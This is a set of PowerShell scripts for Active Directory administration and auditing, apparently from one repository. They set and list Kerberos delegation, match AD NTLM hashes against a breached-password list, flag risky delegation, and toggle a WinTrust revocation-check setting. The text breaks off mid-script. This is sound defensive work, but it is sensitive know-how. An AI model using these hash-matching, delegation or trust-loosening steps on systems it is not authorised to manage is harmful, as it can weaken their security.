"OU=Servers,DC=corp,DC=Domain,DC=Com" 27 | Get all the enabled servers in the given OU, and cleans 28 | the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. 29 | 30 | .EXAMPLE 31 | Manage-WindowsAdminCenterDelgation.ps1 -List -Identity "OU=Servers,DC=corp,DC=Domain,DC=Com" 32 | Get all the enabled servers in the given OU, and lists 33 | the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. 34 | 35 | .NOTES 36 | AUTHOR: Michael Waterman 37 | Blog: https://michaelwaterman.nl 38 | LASTEDIT: 2024.06.11 39 | #> 40 | [CmdletBinding(DefaultParameterSetName="Default")] 41 | param( 42 | [Parameter( 43 | Mandatory=$true, 44 | ParameterSetName = 'Default' 45 | )] 46 | [string]$Computername, 47 | [Parameter( 48 | Mandatory=$True 49 | )] 50 | [string]$Identity, 51 | [Parameter( 52 | Mandatory=$true, 53 | ParameterSetName = 'Clean' 54 | )] 55 | [switch]$Clean=$false, 56 | [Parameter( 57 | Mandatory=$true, 58 | ParameterSetName = 'List' 59 | )] 60 | [switch]$List=$false 61 | ) 62 | 63 | # Get all the servers from the provided OU 64 | $Servers = Get-ADComputer -Filter "OperatingSystem -Like '*Windows Server*' -and Enabled -eq 'True'" ` 65 | -SearchBase $Identity -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity" 66 | 67 | # Only get the computer object of the wac server when setting the attribute. 68 | If($Computername){ 69 | $WindowsAdminCenter = Get-ADComputer -Identity $Computername 70 | } 71 | 72 | 73 | # Set, list or clean the resource-based kerberos constrained delegation for each node 74 | foreach ($Server in $Servers){ 75 | If($Clean){ 76 | Set-ADComputer -Identity $Server -Clear "msDS-AllowedToActOnBehalfOfOtherIdentity" -Verbose 77 | } 78 | 79 | If($Computername) 80 | { 81 | Set-ADComputer -Identity $Server -PrincipalsAllowedToDelegateToAccount $WindowsAdminCenter -Verbose 82 | } 83 | 84 | if($List){ 85 | Write-Host -ForegroundColor Green ($server.DNSHostName) 86 | if($server.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access){ 87 | $server.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 88 | } else { 89 | Write-Host -ForegroundColor Red " No delegation was found for this host." 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /Scripts/Load-Module-Function.ps1: -------------------------------------------------------------------------------- 1 | function Load-Module 2 | { 3 | param ( 4 | [parameter(Mandatory = $true)][string] $Module 5 | ) 6 | 7 | $retVal = $false 8 | 9 | # Check if the module is locally available 10 | $AvailableModules = Get-Module -ListAvailable -name $Module 11 | 12 | # If the module is not locally available, look in the online repositories 13 | If (!$AvailableModules) 14 | { 15 | #Check if the dependend package provider is already installed (requirement) 16 | $PSRepositories = (Get-PSRepository).PackageManagementProvider 17 | 18 | # Install the package providers for the repositories 19 | foreach ($PSRepository in $PSRepositories) 20 | { 21 | # List the package provider and install it 22 | $PSRepositoryPackageProvider = Get-PackageProvider | where name -EQ $PSRepository 23 | if (!$PSRepositoryPackageProvider) 24 | { 25 | try 26 | { 27 | Install-PackageProvider $PSRepository -force -ErrorAction SilentlyContinue 28 | if ($?) 29 | { 30 | $retVal = $true 31 | } 32 | } 33 | # On error set the return value to false 34 | catch 35 | { 36 | $retVal = $false 37 | } 38 | 39 | } 40 | } 41 | 42 | # Check if the module is available online after installing the package providers 43 | $AvailableModules = Find-Module -name $Module -ErrorAction SilentlyContinue 44 | If ($AvailableModules){ 45 | 46 | #Install the online module 47 | try 48 | { 49 | Install-Module -name $Module -force -ErrorAction SilentlyContinue 50 | if ($?) 51 | { 52 | $retVal = $true 53 | } 54 | } 55 | # On error set the return value to false 56 | catch 57 | { 58 | $retVal = $false 59 | } 60 | 61 | 62 | #try to import the module 63 | try 64 | { 65 | Import-Module -name $Module -ErrorAction SilentlyContinue 66 | if ($?) 67 | { 68 | $retVal = $true 69 | } 70 | } 71 | # On error set the return value to false 72 | catch 73 | { 74 | $retVal = $false 75 | } 76 | 77 | 78 | } else { 79 | 80 | Write-Host "Module could not be found" -ForegroundColor Red 81 | $retVal = $false 82 | } 83 | 84 | # If the module is locally available, try to load it 85 | } Else { 86 | #try to import the module 87 | try 88 | { 89 | Import-Module -name $Module 90 | if ($?) 91 | { 92 | $retVal = $true 93 | } 94 | } 95 | # On error set the return value to false 96 | catch 97 | { 98 | $retVal = $false 99 | } 100 | } 101 | return $retval 102 | } -------------------------------------------------------------------------------- /Scripts/Get-ADExtendedRights.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Version 5.1 2 | #Requires -modules ActiveDirectory 3 | 4 | <#PSScriptInfo 5 | .VERSION 1.0 6 | .GUID 0a841ae8-5b4c-4b39-8793-0d9f7137ff57 7 | .AUTHOR Michael Waterman 8 | .COMPANYNAME None 9 | .COPYRIGHT 10 | .TAGS Active Directory, Extended Rights 11 | #> 12 | 13 | <# 14 | .SYNOPSIS 15 | Lists all the Extended Rights in Active Directory 16 | 17 | .DESCRIPTION 18 | Filter Extended rights in Active Directory . The script can also display and export all the 19 | extended rights to a CSV file. 20 | 21 | .EXAMPLE 22 | Get-ADExtendedRights.ps1 -Name DS-Replication-Get-Changes-All 23 | Retreive an extended right from Active Directory by name 24 | 25 | .EXAMPLE 26 | Get-ADExtendedRights.ps1 -rightsGUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 27 | Retreive an extended right from Active Directory by rightsGUID 28 | 29 | .EXAMPLE 30 | Get-ADExtendedRights.ps1 -All 31 | List all extended rights in Active Directory. 32 | 33 | .EXAMPLE 34 | Get-ADExtendedRights.ps1 -All -Path .\All.CSV 35 | Retreives all the Active Directory Extended Rights and exports them 36 | to a CSV file 37 | 38 | .NOTES 39 | AUTHOR: Michael Waterman 40 | Blog: https://michaelwaterman.nl 41 | LASTEDIT: 2023.12.24 42 | #> 43 | 44 | 45 | [CmdletBinding(DefaultParameterSetName="Default")] 46 | param( 47 | [Parameter( 48 | Mandatory=$True, 49 | ParameterSetName = 'Name')] 50 | [string]$Name, 51 | [Parameter( 52 | Mandatory=$True, 53 | ParameterSetName = 'rightsGUID')] 54 | [string]$rightsGUID, 55 | [Parameter( 56 | Mandatory=$True, 57 | ParameterSetName = 'Default')] 58 | [switch]$All, 59 | [Parameter( 60 | Mandatory=$False, 61 | ParameterSetName = 'Default')] 62 | [string]$Path 63 | ) 64 | 65 | 66 | #Retreive All Extended Rights 67 | ############################################################################################## 68 | $ExtendedRights = Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" ` 69 | -LDAPFilter '(objectClass=controlAccessRight)' ` 70 | -Properties name, rightsGUID 71 | ############################################################################################## 72 | 73 | 74 | # Retreive by Name 75 | ############################################################################################## 76 | If($Name){ 77 | $ExtendedRights | Where-Object Name -Like "*$($Name)*" | ` 78 | Select Name, rightsGUID 79 | } 80 | ############################################################################################## 81 | 82 | 83 | # Retreive by rightsGUID 84 | ############################################################################################## 85 | if($rightsGUID){ 86 | $ExtendedRights | Where-Object rightsGUID -Like "*$($rightsGUID)*" | ` 87 | Select Name, rightsGUID 88 | } 89 | ############################################################################################## 90 | 91 | 92 | # Select All 93 | ############################################################################################## 94 | if($All){ 95 | If($Path){ 96 | $ExtendedRights | Select Name, rightsGUID | Export-Csv -Path $Path -Delimiter ';' -NoTypeInformation 97 | } Else { 98 | $ExtendedRights | Select Name, rightsGUID 99 | } 100 | } 101 | ############################################################################################## -------------------------------------------------------------------------------- /Modules/Test-TCPConnection/Test-TCPConnection.ps1: -------------------------------------------------------------------------------- 1 | function Test-TCPConnection{ 2 | 3 |     [cmdletbinding( 4 |         DefaultParameterSetName='default' 5 |     )] 6 | Param( 7 | [parameter( 8 | ValueFromPipeline = $true, 9 | ValueFromPipelineByPropertyName = $true, 10 | ParameterSetName='default', 11 | Mandatory=$true, 12 | Position = 0 13 | )] 14 |      [parameter( 15 | ValueFromPipeline = $true, 16 | ValueFromPipelineByPropertyName = $true, 17 | ParameterSetName='service', 18 | Mandatory=$true, 19 | Position = 0 20 | )] 21 |      [string]$ComputerName, 22 |      23 | [parameter( 24 | ParameterSetName='default', 25 | Mandatory=$true)] 26 |      [int]$Port, 27 | 28 | [parameter( 29 | ParameterSetName='service', 30 | Mandatory=$true)] 31 | [ValidateSet("SSH", "SMTP", "DNS", "HTTP","HTTPS", "SMB", "RDP", "WINRM", "WINRMSSL")] 32 | [string]$Service, 33 | 34 | [parameter( 35 | Mandatory=$false)] 36 | [int]$Timeout = 80 37 | 38 | ) 39 | 40 | if ($PSCmdlet.ParameterSetName -eq 'service') 41 | { 42 | switch ( $service ) 43 | { 44 | "SSH" {$port = "22"} 45 | "SMTP" {$port = "25"} 46 | "DNS" {$port = "53"} 47 | "http" {$port = "80"} 48 | "https" {$port = "443"} 49 | "SMB" {$Port = "445"} 50 | "RDP" {$Port = "3389"} 51 | "WINRM" {$port = "5985"} 52 | "WINRMSSL" {$port = "5986"} 53 | } 54 | } 55 | 56 | 57 | try { 58 | 59 | Write-Verbose "Resolving IP Address" 60 | $IPAddress = ([System.Net.Dns]::GetHostAddresses(“$ComputerName“)).IPAddressToString 61 | 62 | Write-Verbose "Create Net Socket Object" 63 | $TCPClient = New-Object System.Net.Sockets.TcpClient 64 | 65 | Write-Verbose "Connect to host" 66 | $TCPClient.BeginConnect($ComputerName, $port, $requestCallback, $state) | Out-Null 67 | 68 | Write-Verbose "Wait for the connection to establish, default wait time is 80 Milliseconds" 69 | Start-Sleep -Milliseconds $timeOut 70 | 71 | Write-Verbose "Checking if connection is establish" 72 | if ($TCPClient.Connected) { 73 | Write-Verbose "Connection succesful" 74 | $open = $true 75 | } 76 | else { 77 | Write-Verbose "Connection unsuccesful" 78 | $open = $false 79 | } 80 | 81 | Write-Verbose "Close the connection" 82 | $TCPClient.Close() 83 | 84 | Write-Verbose "Constructing Object Properties" 85 | $Properties = @{ComputerName = $ComputerName 86 | PortNumber = $port 87 | IsConnected = $open 88 | IPAddress = $IPAddress 89 | } 90 | 91 | } 92 | 93 | Catch { 94 | 95 | Write-Verbose "Constructing Object Properties after failure" 96 | $Properties = @{ComputerName = $ComputerName 97 | Port = $port 98 | IsConnection = $false 99 | IPAddress = $false 100 | } 101 | 102 | } 103 | 104 | Finally { 105 | 106 | Write-Verbose "Creating return object with properties" 107 | $ReturnObject = New-Object -TypeName PSObject -Property $Properties 108 | 109 | } 110 | 111 | return $ReturnObject 112 | 113 | } -------------------------------------------------------------------------------- /Scripts/Match-ADHashes.ps1: -------------------------------------------------------------------------------- 1 | function Match-ADHashes { 2 | 3 | <# 4 | .NAME 5 | Match-ADHashes 6 | 7 | .SYNOPSIS 8 | Matches AD NTLM Hashes against other list of hashes 9 | 10 | .DESCRIPTION 11 | Builds a hashmap of AD NTLM hashes/usernames and iterates through a second list of hashes checking for the existence of each entry in the AD NTLM hashmap 12 | -Outputs results as object including username, hash, and frequency in database 13 | -Frequency is included in output to provide additional context on the password. A high frequency (> 5) may indicate password is commonly used and not necessarily linked to specific user's password re-use. 14 | 15 | .PARAMETER ADNTHashes 16 | File Path to 'Hashcat' formatted .txt file (username:hash) 17 | 18 | .PARAMETER HashDictionary 19 | File Path to 'Troy Hunt Pwned Passwords' formatted .txt file (HASH:frequencycount) 20 | 21 | .PARAMETER Verbose 22 | Provide run-time of function in Verbose output 23 | 24 | .EXAMPLE 25 | $results = Match-ADHashes -ADNTHashes C:\temp\adnthashes.txt -HashDictionary -C:\temp\Hashlist.txt 26 | 27 | .OUTPUTS 28 | Array of HashTables with properties "User", "Frequency", "Hash" 29 | User Frequency Hash 30 | ---- --------- ---- 31 | {TestUser2, TestUser3} 20129 H1H1H1H1H1H1H1H1H1H1H1H1H1H1H1H1 32 | {TestUser1} 1 H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2 33 | 34 | .NOTES 35 | If you are seeing results for User truncated as {user1, user2, user3...} consider modifying the Preference variable $FormatEnumerationLimit (set to -1 for unlimited) 36 | 37 | =INSPIRATION / SOURCES / RELATED WORK 38 | -DSInternal Project https://www.dsinternals.com 39 | -Checkpot Project https://github.com/ryhanson/checkpot/ 40 | 41 | =FUTURE WORK 42 | -Performance Testing, optimization 43 | -Other Languages (golang?) 44 | 45 | .LINK 46 | https://github.com/DGG-IT/Match-ADHashes/ 47 | 48 | #> 49 | 50 | param( 51 | [Parameter(Mandatory = $true)] 52 | [System.IO.FileInfo] $ADNTHashes, 53 | 54 | [Parameter(Mandatory = $true)] 55 | [System.IO.FileInfo] $HashDictionary 56 | ) 57 | #> 58 | 59 | process { 60 | $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 61 | 62 | #Declare and fill new hashtable with ADNThashes. Converts to upper case to 63 | $htADNTHashes = @{} 64 | Import-Csv -Delimiter ":" -Path $ADNTHashes -Header "User","Hash" | % {$htADNTHashes[$_.Hash.toUpper()] += @($_.User)} 65 | 66 | #Create empty output object 67 | $mrMatchedResults = @() 68 | 69 | #Create Filestream reader 70 | $fsHashDictionary = New-Object IO.Filestream $HashDictionary,'Open','Read','Read' 71 | $frHashDictionary = New-Object System.IO.StreamReader($fsHashDictionary) 72 | 73 | #Iterate through HashDictionary checking each hash against ADNTHashes 74 | while (($lineHashDictionary = $frHashDictionary.ReadLine()) -ne $null) { 75 | if($htADNTHashes.ContainsKey($lineHashDictionary.Split(":")[0].ToUpper())) { 76 | $foFoundObject = [PSCustomObject]@{ 77 | User = $htADNTHashes[$lineHashDictionary.Split(":")[0].ToUpper()] 78 | Frequency = $lineHashDictionary.Split(":")[1] 79 | Hash = $linehashDictionary.Split(":")[0].ToUpper() 80 | } 81 | $mrMatchedResults += $foFoundObject 82 | } 83 | } 84 | $stopwatch.Stop() 85 | Write-Verbose "Function Match-ADHashes completed in $($stopwatch.Elapsed.TotalSeconds) Seconds" 86 | } 87 | 88 | end { 89 | $mrMatchedResults 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /Scripts/Merge-StigCheckLists.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | STIG Checklist merge script 4 | 5 | .DESCRIPTION 6 | STIG Checklist merge script 7 | 8 | Release date: 20 Dec 2016 9 | Description: This script merges two STIG Checklist (.chk) based on vulnerability ID, it will copy the status, details, comment and severity. 10 | Author: Michael Waterman 11 | 12 | .Parameter Source 13 | provide a valid path to the source checklist file. 14 | 15 | .Parameter Target 16 | provide a valid path to the target checklist file. 17 | 18 | .EXAMPLE 19 | Merge-Checklist -source -target 20 | #> 21 | 22 | 23 | # Parameter input 24 | ############################################################################################## 25 | [CmdletBinding(DefaultParameterSetName="None")] 26 | param( 27 | 28 | [Parameter(Mandatory=$true)] 29 | [string]$Source, 30 | [Parameter(Mandatory=$true)] 31 | [string]$Target 32 | 33 | ) 34 | ############################################################################################## 35 | 36 | 37 | #Remove any " or ' in the path 38 | ############################################################################################## 39 | if ($Source -match "`"") {$Source = $Source -replace "`"", ""} 40 | if ($Target -match "`"") {$Target = $Target -replace "`"", ""} 41 | if ($Source -match "`'") {$Source = $Source -replace "`'", ""} 42 | if ($Target -match "`'") {$Target = $Target -replace "`'", ""} 43 | ############################################################################################## 44 | 45 | 46 | #Check Paths 47 | ############################################################################################## 48 | if (!(Test-Path $Source)) 49 | { 50 | Write-Host 'Source can not be found, please check if the path is correct and the file exists' -ForegroundColor Yellow ; return 51 | } 52 | 53 | if (!(Test-Path $Target)) 54 | { 55 | Write-Host 'Target can not be found, please check if the path is correct and the file exists' -ForegroundColor Yellow ; return 56 | } 57 | ############################################################################################## 58 | 59 | 60 | #Create XML Object 61 | $XdocSource = New-Object xml 62 | $xdocTarget = New-Object xml 63 | 64 | #Preserve the whitespace in the XML file 65 | $XdocSource.PreserveWhitespace = $true 66 | $xdocTarget.PreserveWhitespace = $true 67 | 68 | #Load the documents 69 | $XdocSource.Load($Source) 70 | $xdocTarget.Load($Target) 71 | 72 | 73 | #List all the vulnerability items in the checklist and use them as a unique key 74 | foreach ($item in $XdocSource.SelectNodes("//CHECKLIST/STIGS/iSTIG/VULN/STIG_DATA[VULN_ATTRIBUTE='Vuln_Num']/ATTRIBUTE_DATA")) 75 | { 76 | #Get the text and convert from xml format to string 77 | $item = $item.InnerText 78 | 79 | #if the vulnerability id with the target exists within the attribute_data element replace the text 80 | if ($xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN/STIG_DATA[ATTRIBUTE_DATA='$item']/ATTRIBUTE_DATA").InnerText) 81 | { 82 | #Copy the status 83 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/STATUS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/STATUS").InnerText 84 | 85 | 86 | #Copy the finding details 87 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/FINDING_DETAILS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/FINDING_DETAILS").InnerText 88 | 89 | 90 | #Copy the comment 91 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/COMMENTS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/COMMENTS").InnerText 92 | 93 | 94 | #Copy the severity 95 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_OVERRIDE").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_OVERRIDE").InnerText 96 | 97 | 98 | #Copy the severity justification 99 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_JUSTIFICATION").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_JUSTIFICATION").InnerText 100 | } 101 | } 102 | 103 | #Convert the file to UTF-8 104 | $utf8 = New-Object System.Text.UTF8Encoding($false) 105 | $SaveFile = New-Object System.IO.StreamWriter($Target, $False, $utf8) 106 | 107 | #Save the target file 108 | $xdocTarget.Save($SaveFile) 109 | $SaveFile.Close() -------------------------------------------------------------------------------- /Scripts/Get-ADSchemaClassAndAttributes.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Version 5.1 2 | #Requires -modules ActiveDirectory 3 | 4 | <#PSScriptInfo 5 | .VERSION 1.0 6 | .GUID 802b4150-c346-4d63-a852-73b87f67b7a5 7 | .AUTHOR Michael Waterman 8 | .COMPANYNAME None 9 | .COPYRIGHT 10 | .TAGS Active Directory, Schema 11 | #> 12 | 13 | <# 14 | .SYNOPSIS 15 | Filter the Active Directory Schema. 16 | 17 | .DESCRIPTION 18 | Filter the Active Directory Schema by Name (Displayes in ADSIEdit), LDAPDisplayName or 19 | by schemaIDGUID. The script can also display and export the entire Schema based on these 20 | attributes to a CSV file. 21 | 22 | .EXAMPLE 23 | Get-ADSchemaClassAndAttributes.ps1 24 | 25 | 26 | .EXAMPLE 27 | Get-ADSchemaClassAndAttributes.ps1 -Name ms-DS-Key-Credential-Link 28 | Retreives the schema attributes by name 29 | 30 | .EXAMPLE 31 | Get-ADSchemaClassAndAttributes.ps1 -LDAPDisplayName msDS-KeyCredentialLink 32 | Retreives the schema attributes by LDAPDisplayName 33 | 34 | .EXAMPLE 35 | Get-ADSchemaClassAndAttributes.ps1 -schemaIDGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 36 | Retreives the schema attributes and matches by provided GUID 37 | 38 | .EXAMPLE 39 | Get-ADSchemaClassAndAttributes.ps1 -All -Path .\All.CSV 40 | Retreives all the Active Directory Schema Attributes and Classes and exports them 41 | to a CSV file 42 | 43 | .NOTES 44 | AUTHOR: Michael Waterman 45 | Blog: https://michaelwaterman.nl 46 | LASTEDIT: 2023.12.24 47 | #> 48 | 49 | [CmdletBinding(DefaultParameterSetName="Default")] 50 | param( 51 | [Parameter( 52 | Mandatory=$True, 53 | ParameterSetName = 'Name')] 54 | [string]$Name, 55 | [Parameter( 56 | Mandatory=$True, 57 | ParameterSetName = 'LDAPDisplayName')] 58 | [string]$LDAPDisplayName, 59 | [Parameter( 60 | Mandatory=$True, 61 | ParameterSetName = 'schemaIDGUID')] 62 | [guid]$schemaIDGUID, 63 | [Parameter( 64 | Mandatory=$True, 65 | ParameterSetName = 'Default')] 66 | [switch]$All, 67 | [Parameter( 68 | Mandatory=$False, 69 | ParameterSetName = 'Default')] 70 | [string]$Path 71 | ) 72 | 73 | #Retreive the Schema 74 | ############################################################################################## 75 | $SchemaObjects = Get-ADObject -LDAPFilter "(objectclass=*)" ` 76 | -SearchBase $((Get-ADRootDSE).schemaNamingContext) ` 77 | -Properties Name, LDAPDisplayName, schemaIDGUID | ` 78 | Where-Object { ($_.ObjectClass -EQ "attributeSchema") -or ($_.ObjectClass -EQ "classSchema")} 79 | ############################################################################################## 80 | 81 | 82 | #Select by Name 83 | ############################################################################################## 84 | If($Name){ 85 | $SchemaObjects | ` 86 | Where Name -Like "*$($Name)*" | ` 87 | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} 88 | } 89 | ############################################################################################## 90 | 91 | 92 | #Select by LDAPDisplayName 93 | ############################################################################################## 94 | If($LDAPDisplayName){ 95 | $SchemaObjects | ` 96 | Where LDAPDisplayName -Like "*$($LDAPDisplayName)*" | ` 97 | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} 98 | } 99 | ############################################################################################## 100 | 101 | 102 | # Select by scemaIDGUID 103 | ############################################################################################## 104 | if($schemaIDGUID){ 105 | ForEach ($Obj in $SchemaObjects ){ 106 | 107 | If( $($Obj.schemaIDGuid -as [guid]).Guid -eq $schemaIDGUID.Guid ){ 108 | $Obj | select Name, LDAPDisplayName, @{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} 109 | } 110 | } 111 | } 112 | ############################################################################################## 113 | 114 | 115 | # Select All 116 | ############################################################################################## 117 | if($All){ 118 | If($Path){ 119 | $SchemaObjects | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} | Export-Csv -Path $Path -Delimiter ';' -NoTypeInformation 120 | } Else { 121 | $SchemaObjects | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} 122 | } 123 | } 124 | ############################################################################################## 125 | -------------------------------------------------------------------------------- /Scripts/Search-KerbDelegatedAccounts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Search the domain for accounts with Kerberos Delegation. 4 | .DESCRIPTION 5 | Kerberos Delegation is a security sensitive configuration. Especially 6 | full (unconstrained) delegation has significant impact: any service 7 | that is configured with full delegation can take any account that 8 | authenticates to it, and impersonate that account for any other network 9 | service that it likes. So, if a Domain Admin were to use that service, 10 | the service in turn could read the hash of KRBRTG and immediately 11 | effectuate a golden ticket. Etc :) 12 | 13 | This scripts searches AD for regular forms of delegation: full, constrained, 14 | and resource based. It dumps the account names with relevant information (flags) 15 | and adds a comment field for special cases. The output is a PSObject that 16 | you can use for further analysis. 17 | 18 | Note regarding resource based delegation: the script dumps the target 19 | services, not the actual service doing the delegation. I did not bother 20 | to parse that out. 21 | 22 | Main takeaway: chase all services with unconstrained delegation. If 23 | these are _not_ DC accounts, reconfigure them with constrained delegation, 24 | OR claim them als DCs from a security perspective. Meaning, that the AD 25 | team manages the service and the servers it runs on. 26 | 27 | .EXAMPLE 28 | .\Search-KerbDelegatedAccounts.ps1 | out-gridview 29 | .EXAMPLE 30 | .\Search-KerbDelegatedAccounts.ps1 -DN "ou=myOU,dc=sol,dc=local" 31 | .NOTES 32 | Version: 0.1 : first version. 33 | 0.2 : expanded LDAP filter and comment field. 34 | Author: Willem Kasdorp, Microsoft. 35 | Creation Date: 1/10/2016 36 | Last modified: 4/11/2017 37 | #> 38 | 39 | [CmdletBinding()] 40 | Param 41 | ( 42 | # start the search at this DN. Default is to search all of the domain. 43 | [string]$DN = (Get-ADDomain).DistinguishedName 44 | ) 45 | 46 | $SERVER_TRUST_ACCOUNT = 0x2000 47 | $TRUSTED_FOR_DELEGATION = 0x80000 48 | $TRUSTED_TO_AUTH_FOR_DELEGATION= 0x1000000 49 | $PARTIAL_SECRETS_ACCOUNT = 0x4000000 50 | $bitmask = $TRUSTED_FOR_DELEGATION -bor $TRUSTED_TO_AUTH_FOR_DELEGATION -bor $PARTIAL_SECRETS_ACCOUNT 51 | 52 | # LDAP filter to find all accounts having some form of delegation. 53 | # 1.2.840.113556.1.4.804 is an OR query. 54 | $filter = @" 55 | (& 56 | (servicePrincipalname=*) 57 | (| 58 | (msDS-AllowedToActOnBehalfOfOtherIdentity=*) 59 | (msDS-AllowedToDelegateTo=*) 60 | (UserAccountControl:1.2.840.113556.1.4.804:=$bitmask) 61 | ) 62 | (| 63 | (objectcategory=computer) 64 | (objectcategory=person) 65 | (objectcategory=msDS-GroupManagedServiceAccount) 66 | (objectcategory=msDS-ManagedServiceAccount) 67 | ) 68 | ) 69 | "@ -replace "[\s\n]", '' 70 | 71 | $propertylist = @( 72 | "servicePrincipalname", 73 | "useraccountcontrol", 74 | "samaccountname", 75 | "msDS-AllowedToDelegateTo", 76 | "msDS-AllowedToActOnBehalfOfOtherIdentity" 77 | ) 78 | Get-ADObject -LDAPFilter $filter -SearchBase $DN -SearchScope Subtree -Properties $propertylist -PipelineVariable account | ForEach-Object { 79 | $isDC = ($account.useraccountcontrol -band $SERVER_TRUST_ACCOUNT) -ne 0 80 | $fullDelegation = ($account.useraccountcontrol -band $TRUSTED_FOR_DELEGATION) -ne 0 81 | $constrainedDelegation = ($account.'msDS-AllowedToDelegateTo').count -gt 0 82 | $isRODC = ($account.useraccountcontrol -band $PARTIAL_SECRETS_ACCOUNT) -ne 0 83 | $resourceDelegation = $account.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null 84 | 85 | $comment = "" 86 | if ((-not $isDC) -and $fullDelegation) { 87 | $comment += "WARNING: full delegation to non-DC is not recommended!; " 88 | } 89 | if ($isRODC) { 90 | $comment += "WARNING: investigation needed if this is not a real RODC; " 91 | } 92 | if ($resourceDelegation) { 93 | # to count it using PS, we need the object type to select the correct function... broken, but there we are. 94 | $comment += "INFO: Account allows delegation FROM other server(s); " 95 | } 96 | if ($constrainedDelegation) { 97 | $comment += "INFO: constrained delegation service count: $(($account.'msDS-AllowedToDelegateTo').count); " 98 | } 99 | 100 | [PSCustomobject] @{ 101 | samaccountname = $account.samaccountname 102 | objectClass = $account.objectclass 103 | uac = ('{0:x}' -f $account.useraccountcontrol) 104 | isDC = $isDC 105 | isRODC = $isRODC 106 | fullDelegation = $fullDelegation 107 | constrainedDelegation = $constrainedDelegation 108 | resourceDelegation = $resourceDelegation 109 | comment = $comment 110 | } 111 | } 112 | 113 | -------------------------------------------------------------------------------- /Scripts/Set-OfflineInstallationMode.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Enables offline installation of signed binary files 4 | 5 | .DESCRIPTION 6 | This script enables the option to install signed software in an offline situation where a certificate revocation check cannot be done. This situation can occur when .Net hardening has been applied and revocation checking has been enforced. When these conditions are true, this error message appears: “0x800b010e – The revocation process could not continue – the certificate(s) could not be checked.” 7 | 8 | Script version: 1.0 9 | Script Author: Michael Waterman 10 | 11 | .Parameter -On 12 | Enables the offline installation of signed binary files. 13 | 14 | .Parameter -Off 15 | Reset the system to the default value. 16 | 17 | .Parameter -Force 18 | Force the -On parameter even if a previous backup exists. 19 | 20 | .EXAMPLE 21 | 22 | Set-OfflineInstallationMode.ps1 -On 23 | 24 | #> 25 | 26 | 27 | # Parameter input 28 | ############################################################################################## 29 | [CmdletBinding(DefaultParameterSetName="None")] 30 | param( 31 | 32 | [Parameter()] 33 | [switch]$On, 34 | [Parameter()] 35 | [switch]$Off, 36 | [Parameter()] 37 | [switch]$Force=$False 38 | ) 39 | ############################################################################################## 40 | 41 | # Setting variables 42 | ############################################################################################## 43 | $BackupKey = 'HKCU:\Temp\Software Publishing' 44 | $BackupKeyRoot = 'HKCU:\Temp' 45 | $DefaultValue = "146432" 46 | $Key = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing' 47 | $Name = 'State' 48 | ############################################################################################## 49 | 50 | 51 | # Script Functions 52 | ############################################################################################## 53 | function Test-RegistryValue { 54 | 55 | param ( 56 | 57 | [parameter(Mandatory=$true)] 58 | [ValidateNotNullOrEmpty()]$Path, 59 | 60 | [parameter(Mandatory=$true)] 61 | [ValidateNotNullOrEmpty()]$Value 62 | ) 63 | 64 | 65 | try{ 66 | Get-ItemProperty -Path $Path -Name $Value -ErrorAction Stop 67 | return $true 68 | } 69 | 70 | catch{ 71 | return $false 72 | } 73 | } 74 | ############################################################################################## 75 | 76 | 77 | # Main(on) 78 | ############################################################################################## 79 | If($on){ 80 | If(!$Force){ 81 | If(Test-RegistryValue -Path $BackupKey -Value $Name){ 82 | write-host "Previous stored settings have been located, cannot continue. Use the -Force parameter to override." -ForegroundColor Yellow 83 | return 84 | } 85 | } 86 | 87 | 88 | If(Test-RegistryValue -Path $Key -Value $Name){ 89 | 90 | #Create the backup registry location 91 | New-Item -Path 